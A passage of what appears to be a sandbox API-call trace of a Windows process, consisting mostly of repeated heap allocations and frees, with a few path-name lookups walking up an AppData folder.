0x32366f8 [0115.591] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0115.591] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.591] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32366f8 | out: hHeap=0x660000) returned 1 [0115.591] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xd0) returned 0x32366f8 [0115.591] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.591] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.591] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32366f8 | out: hHeap=0x660000) returned 1 [0115.591] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xd0) returned 0x32366f8 [0115.591] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.591] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.591] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32366f8 | out: hHeap=0x660000) returned 1 [0115.591] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xd0) returned 0x32366f8 [0115.591] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.591] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.591] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32366f8 | out: hHeap=0x660000) returned 1 [0115.591] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xd0) returned 0x32366f8 [0115.591] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.591] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.591] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32366f8 | out: hHeap=0x660000) returned 1 [0115.591] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xd0) returned 0x32366f8 [0115.591] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.591] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.591] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32366f8 | out: hHeap=0x660000) returned 1 [0115.591] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xd0) returned 0x32366f8 [0115.591] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.591] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.591] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32366f8 | out: hHeap=0x660000) returned 1 [0115.591] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xd0) returned 0x32366f8 [0115.592] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.592] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.592] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32366f8 | out: hHeap=0x660000) returned 1 [0115.592] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xd0) returned 0x32366f8 [0115.592] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.592] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0115.592] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.592] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0115.592] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32366f8 | out: hHeap=0x660000) returned 1 [0115.592] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xd0) returned 0x32366f8 [0115.592] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.592] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.592] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32366f8 | out: hHeap=0x660000) returned 1 [0115.592] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xd0) returned 0x32366f8 [0115.592] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.592] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc2e) returned 0x331d740 [0115.592] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.592] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0115.592] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32366f8 | out: hHeap=0x660000) returned 1 [0115.592] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xd0) returned 0x32366f8 [0115.592] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0115.592] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0115.592] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32366f8 | out: hHeap=0x660000) returned 1 [0115.592] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xd0) returned 0x32366f8 [0115.592] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0115.592] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0115.592] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32366f8 | out: hHeap=0x660000) returned 1 [0115.592] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xd0) returned 0x32366f8 [0115.592] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.592] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.592] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32366f8 | out: hHeap=0x660000) returned 1 [0115.592] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xd0) returned 0x32366f8 [0115.592] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.593] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.593] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32366f8 | out: hHeap=0x660000) returned 1 [0115.593] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xd0) returned 0x32366f8 [0115.593] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.593] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0115.593] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.593] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0115.593] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32366f8 | out: hHeap=0x660000) returned 1 [0115.593] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xd0) returned 0x32366f8 [0115.593] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0115.593] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.593] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32366f8 | out: hHeap=0x660000) returned 1 [0115.593] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xd0) returned 0x32366f8 [0115.593] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0115.593] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.593] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32366f8 | out: hHeap=0x660000) returned 1 [0115.593] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xd0) returned 0x32366f8 [0115.593] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.593] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.593] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32366f8 | out: hHeap=0x660000) returned 1 [0115.593] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xd0) returned 0x32366f8 [0115.593] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.593] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.593] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32366f8 | out: hHeap=0x660000) returned 1 [0115.593] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xd0) returned 0x32366f8 [0115.593] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.593] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.593] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32366f8 | out: hHeap=0x660000) returned 1 [0115.593] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xd0) returned 0x32366f8 [0115.593] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.593] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.593] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32366f8 | out: hHeap=0x660000) returned 1 [0115.593] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xd0) returned 0x32366f8 [0115.593] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.594] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.594] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32366f8 | out: hHeap=0x660000) returned 1 [0115.594] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xd0) returned 0x32366f8 [0115.594] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.594] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.594] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32366f8 | out: hHeap=0x660000) returned 1 [0115.594] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xd0) returned 0x32366f8 [0115.594] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.594] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.594] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32366f8 | out: hHeap=0x660000) returned 1 [0115.594] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xd0) returned 0x32366f8 [0115.594] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.594] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0115.594] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.594] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0115.594] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32366f8 | out: hHeap=0x660000) returned 1 [0115.594] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xd0) returned 0x32366f8 [0115.594] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.594] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.594] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32366f8 | out: hHeap=0x660000) returned 1 [0115.594] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xd0) returned 0x32366f8 [0115.594] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0115.594] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0115.594] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32366f8 | out: hHeap=0x660000) returned 1 [0115.594] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xd0) returned 0x32366f8 [0115.594] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0115.594] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0115.594] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32366f8 | out: hHeap=0x660000) returned 1 [0115.594] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xd0) returned 0x32366f8 [0115.594] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.594] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.594] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32366f8 | out: hHeap=0x660000) returned 1 [0115.595] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xd0) returned 0x32366f8 [0115.595] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.595] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.595] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32366f8 | out: hHeap=0x660000) returned 1 [0115.595] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xd0) returned 0x32366f8 [0115.595] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.595] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0115.595] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.595] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0115.595] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32366f8 | out: hHeap=0x660000) returned 1 [0115.595] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xd0) returned 0x32366f8 [0115.595] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0115.595] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.595] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32366f8 | out: hHeap=0x660000) returned 1 [0115.595] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xd0) returned 0x32366f8 [0115.595] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0115.595] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.595] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32366f8 | out: hHeap=0x660000) returned 1 [0115.595] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xd0) returned 0x32366f8 [0115.595] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.595] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.595] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32366f8 | out: hHeap=0x660000) returned 1 [0115.595] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xd0) returned 0x32366f8 [0115.595] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.595] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.595] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32366f8 | out: hHeap=0x660000) returned 1 [0115.595] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xd0) returned 0x32366f8 [0115.595] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.595] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.595] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32366f8 | out: hHeap=0x660000) returned 1 [0115.595] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xd0) returned 0x32366f8 [0115.595] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.596] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.596] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32366f8 | out: hHeap=0x660000) returned 1 [0115.596] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xd0) returned 0x32366f8 [0115.596] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.596] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.596] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32366f8 | out: hHeap=0x660000) returned 1 [0115.596] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xd0) returned 0x32366f8 [0115.596] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.596] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.596] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32366f8 | out: hHeap=0x660000) returned 1 [0115.596] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xd0) returned 0x32366f8 [0115.596] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.596] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.596] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32366f8 | out: hHeap=0x660000) returned 1 [0115.596] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xd0) returned 0x32366f8 [0115.596] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.596] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0115.596] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.596] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0115.596] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32366f8 | out: hHeap=0x660000) returned 1 [0115.596] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xd0) returned 0x32366f8 [0115.596] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.596] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.596] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32366f8 | out: hHeap=0x660000) returned 1 [0115.596] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xd0) returned 0x32366f8 [0115.596] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0115.596] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0115.596] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32366f8 | out: hHeap=0x660000) returned 1 [0115.596] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xd0) returned 0x32366f8 [0115.596] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0115.596] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0115.596] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32366f8 | out: hHeap=0x660000) returned 1 [0115.596] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xd0) returned 0x32366f8 [0115.596] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.597] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.597] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32366f8 | out: hHeap=0x660000) returned 1 [0115.597] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xd0) returned 0x32366f8 [0115.597] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.597] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.597] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32366f8 | out: hHeap=0x660000) returned 1 [0115.597] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xd0) returned 0x32366f8 [0115.597] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.597] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0115.597] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.597] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0115.597] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32366f8 | out: hHeap=0x660000) returned 1 [0115.597] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xd0) returned 0x32366f8 [0115.597] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0115.597] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.597] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32366f8 | out: hHeap=0x660000) returned 1 [0115.597] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xd0) returned 0x32366f8 [0115.597] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.597] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.597] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32366f8 | out: hHeap=0x660000) returned 1 [0115.597] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xd0) returned 0x32366f8 [0115.597] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.597] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.597] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32366f8 | out: hHeap=0x660000) returned 1 [0115.597] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xd0) returned 0x32366f8 [0115.597] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.597] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.597] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32366f8 | out: hHeap=0x660000) returned 1 [0115.597] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xd0) returned 0x32366f8 [0115.597] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.597] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.597] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32366f8 | out: hHeap=0x660000) returned 1 [0115.597] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xd0) returned 0x32366f8 [0115.598] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.598] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.598] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32366f8 | out: hHeap=0x660000) returned 1 [0115.598] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xd0) returned 0x32366f8 [0115.598] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\") returned="Adobe Custom Dictionary\\" [0115.598] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x40) returned 0x3284968 [0115.598] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa0) returned 0x33201e0 [0115.598] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32366f8 | out: hHeap=0x660000) returned 1 [0115.598] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\") returned="Dictionaries\\" [0115.598] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321858 [0115.598] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33201e0 | out: hHeap=0x660000) returned 1 [0115.598] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\") returned="Linguistics\\" [0115.598] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x326d630 [0115.598] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321858 | out: hHeap=0x660000) returned 1 [0115.598] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0115.598] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf398 [0115.598] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326d630 | out: hHeap=0x660000) returned 1 [0115.598] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0115.598] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326e0d0 [0115.598] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf398 | out: hHeap=0x660000) returned 1 [0115.598] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0115.598] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x40) returned 0x32849b0 [0115.598] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326e0d0 | out: hHeap=0x660000) returned 1 [0115.598] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0115.598] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba3f0 [0115.598] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32849b0 | out: hHeap=0x660000) returned 1 [0115.598] PathFindFileNameW 